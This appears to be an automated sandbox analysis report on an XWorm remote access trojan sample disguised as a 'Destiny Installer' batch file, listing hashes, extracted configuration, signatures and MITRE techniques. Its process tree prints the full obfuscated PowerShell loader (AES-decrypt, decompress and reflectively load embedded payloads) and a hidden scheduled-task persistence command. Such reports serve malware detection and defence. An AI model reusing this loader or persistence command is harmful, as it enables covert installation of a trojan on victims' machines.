xworm | c70ce231f2c492b92157152d8a6138202a162be69fb33bd6e9571f9eaabc1ad3

Analysis

max time kernel
119s
max time network
95s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
01/03/2025, 17:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

destiny installer/Destiny Installer.bat
Size

327KB
MD5

2ae432966df2247f6019b7f4f92133b5
SHA1

ccffdee15b76f1239ff1552b0b5992b04753096b
SHA256

b7993ee9e7a074d2fd1a39756bf13e276722043be49e932a5c1540cecd7f7a61
SHA512

83b254cbfbaedca5904d761466d638de7b758986f572679cf80c0cafbd20ffd46dc4aa97c04ace4d650ea073a25459cf2d6ef32275e2ca1ce11e0d22fed1a569
SSDEEP

6144:IGuBeLEz1JHrfxWyiFwx5mnJ7x2AxQ4SEqxqH284++gGZzmdH2lXVKwT5gJy9pHC:ItBe6bHVWy7ATxQ49H284+dGZzUH21wd

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

127.0.0.1:7000

Mutex

3axbgW4A6QodtIl7

Attributes

Install_directory
%ProgramData%
install_file
Destiny Installer.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3704-48-0x0000022E272D0000-0x0000022E272EA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3704	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
956	powershell.exe
3704	powershell.exe
4228	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4228	powershell.exe
4228	powershell.exe
956	powershell.exe
956	powershell.exe
3704	powershell.exe
3704	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeIncreaseQuotaPrivilege	956	powershell.exe
Token: SeSecurityPrivilege	956	powershell.exe
Token: SeTakeOwnershipPrivilege	956	powershell.exe
Token: SeLoadDriverPrivilege	956	powershell.exe
Token: SeSystemProfilePrivilege	956	powershell.exe
Token: SeSystemtimePrivilege	956	powershell.exe
Token: SeProfSingleProcessPrivilege	956	powershell.exe
Token: SeIncBasePriorityPrivilege	956	powershell.exe
Token: SeCreatePagefilePrivilege	956	powershell.exe
Token: SeBackupPrivilege	956	powershell.exe
Token: SeRestorePrivilege	956	powershell.exe
Token: SeShutdownPrivilege	956	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeSystemEnvironmentPrivilege	956	powershell.exe
Token: SeRemoteShutdownPrivilege	956	powershell.exe
Token: SeUndockPrivilege	956	powershell.exe
Token: SeManageVolumePrivilege	956	powershell.exe
Token: 33	956	powershell.exe
Token: 34	956	powershell.exe
Token: 35	956	powershell.exe
Token: 36	956	powershell.exe
Token: SeIncreaseQuotaPrivilege	956	powershell.exe
Token: SeSecurityPrivilege	956	powershell.exe
Token: SeTakeOwnershipPrivilege	956	powershell.exe
Token: SeLoadDriverPrivilege	956	powershell.exe
Token: SeSystemProfilePrivilege	956	powershell.exe
Token: SeSystemtimePrivilege	956	powershell.exe
Token: SeProfSingleProcessPrivilege	956	powershell.exe
Token: SeIncBasePriorityPrivilege	956	powershell.exe
Token: SeCreatePagefilePrivilege	956	powershell.exe
Token: SeBackupPrivilege	956	powershell.exe
Token: SeRestorePrivilege	956	powershell.exe
Token: SeShutdownPrivilege	956	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeSystemEnvironmentPrivilege	956	powershell.exe
Token: SeRemoteShutdownPrivilege	956	powershell.exe
Token: SeUndockPrivilege	956	powershell.exe
Token: SeManageVolumePrivilege	956	powershell.exe
Token: 33	956	powershell.exe
Token: 34	956	powershell.exe
Token: 35	956	powershell.exe
Token: 36	956	powershell.exe
Token: SeIncreaseQuotaPrivilege	956	powershell.exe
Token: SeSecurityPrivilege	956	powershell.exe
Token: SeTakeOwnershipPrivilege	956	powershell.exe
Token: SeLoadDriverPrivilege	956	powershell.exe
Token: SeSystemProfilePrivilege	956	powershell.exe
Token: SeSystemtimePrivilege	956	powershell.exe
Token: SeProfSingleProcessPrivilege	956	powershell.exe
Token: SeIncBasePriorityPrivilege	956	powershell.exe
Token: SeCreatePagefilePrivilege	956	powershell.exe
Token: SeBackupPrivilege	956	powershell.exe
Token: SeRestorePrivilege	956	powershell.exe
Token: SeShutdownPrivilege	956	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeSystemEnvironmentPrivilege	956	powershell.exe
Token: SeRemoteShutdownPrivilege	956	powershell.exe
Token: SeUndockPrivilege	956	powershell.exe
Token: SeManageVolumePrivilege	956	powershell.exe
Token: 33	956	powershell.exe
Token: 34	956	powershell.exe
Token: 35	956	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2180 wrote to memory of 4228	2180	cmd.exe	78
PID 2180 wrote to memory of 4228	2180	cmd.exe	78
PID 4228 wrote to memory of 956	4228	powershell.exe	79
PID 4228 wrote to memory of 956	4228	powershell.exe	79
PID 4228 wrote to memory of 3004	4228	powershell.exe	82
PID 4228 wrote to memory of 3004	4228	powershell.exe	82
PID 3004 wrote to memory of 5100	3004	WScript.exe	83
PID 3004 wrote to memory of 5100	3004	WScript.exe	83
PID 5100 wrote to memory of 3704	5100	cmd.exe	85
PID 5100 wrote to memory of 3704	5100	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbpOv5Dd20QS+jAUaxWzfQ8Ue7OWB/lZpkmUiDzmjXc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+oOxt502v2luXR//6oDybA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OrPUq=New-Object System.IO.MemoryStream(,$param_var); $PVXiG=New-Object System.IO.MemoryStream; $QksXF=New-Object System.IO.Compression.GZipStream($OrPUq, [IO.Compression.CompressionMode]::Decompress); $QksXF.CopyTo($PVXiG); $QksXF.Dispose(); $OrPUq.Dispose(); $PVXiG.Dispose(); $PVXiG.ToArray();}function execute_function($param_var,$param2_var){ $dhbrq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UQwuM=$dhbrq.EntryPoint; $UQwuM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat';$AwDLs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\destiny installer\Destiny Installer.bat').Split([Environment]::NewLine);foreach ($zLvFY in $AwDLs) { if ($zLvFY.StartsWith(':: ')) { $OBKgh=$zLvFY.Substring(3); break; }}$payloads_var=[string[]]$OBKgh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_351_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_351.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:956
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_351.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_351.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5100
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbpOv5Dd20QS+jAUaxWzfQ8Ue7OWB/lZpkmUiDzmjXc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+oOxt502v2luXR//6oDybA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OrPUq=New-Object System.IO.MemoryStream(,$param_var); $PVXiG=New-Object System.IO.MemoryStream; $QksXF=New-Object System.IO.Compression.GZipStream($OrPUq, [IO.Compression.CompressionMode]::Decompress); $QksXF.CopyTo($PVXiG); $QksXF.Dispose(); $OrPUq.Dispose(); $PVXiG.Dispose(); $PVXiG.ToArray();}function execute_function($param_var,$param2_var){ $dhbrq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UQwuM=$dhbrq.EntryPoint; $UQwuM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_351.bat';$AwDLs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_351.bat').Split([Environment]::NewLine);foreach ($zLvFY in $AwDLs) { if ($zLvFY.StartsWith(':: ')) { $OBKgh=$zLvFY.Substring(3); break; }}$payloads_var=[string[]]$OBKgh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3704

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ou1iya24.ocn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_351.bat

Filesize
327KB

MD5
2ae432966df2247f6019b7f4f92133b5

SHA1
ccffdee15b76f1239ff1552b0b5992b04753096b

SHA256
b7993ee9e7a074d2fd1a39756bf13e276722043be49e932a5c1540cecd7f7a61

SHA512
83b254cbfbaedca5904d761466d638de7b758986f572679cf80c0cafbd20ffd46dc4aa97c04ace4d650ea073a25459cf2d6ef32275e2ca1ce11e0d22fed1a569

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_351.vbs

Filesize
115B

MD5
9070a213c9b7d9f2419fab0d1eebea37

SHA1
e9ae5433641c69367803d21371721b04ac8f9400

SHA256
65d8bcb8887ab07e50ae110cb259e92aed2036e855b4b8d6e44f42bd716f1aab

SHA512
38f8749e8a6cb29145a8be9c28c091c9e7318ce24a5ea2567c02bdd8997bfc2d73aa52dac825c867669c70e218df950f82a66c4742ba976c3ce2b349446a6314

Download Submit
memory/956-26-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/956-30-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/956-27-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/956-16-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/956-25-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/3704-48-0x0000022E272D0000-0x0000022E272EA000-memory.dmp

Filesize
104KB

Download
memory/4228-0-0x00007FF9CB0B3000-0x00007FF9CB0B5000-memory.dmp

Filesize
8KB

Download
memory/4228-14-0x0000017EF7950000-0x0000017EF7990000-memory.dmp

Filesize
256KB

Download
memory/4228-13-0x0000017EF76B0000-0x0000017EF76B8000-memory.dmp

Filesize
32KB

Download
memory/4228-12-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/4228-11-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/4228-9-0x0000017EF76E0000-0x0000017EF7702000-memory.dmp

Filesize
136KB

Download
memory/4228-10-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download
memory/4228-49-0x00007FF9CB0B3000-0x00007FF9CB0B5000-memory.dmp

Filesize
8KB

Download
memory/4228-50-0x00007FF9CB0B0000-0x00007FF9CBB72000-memory.dmp

Filesize
10.8MB

Download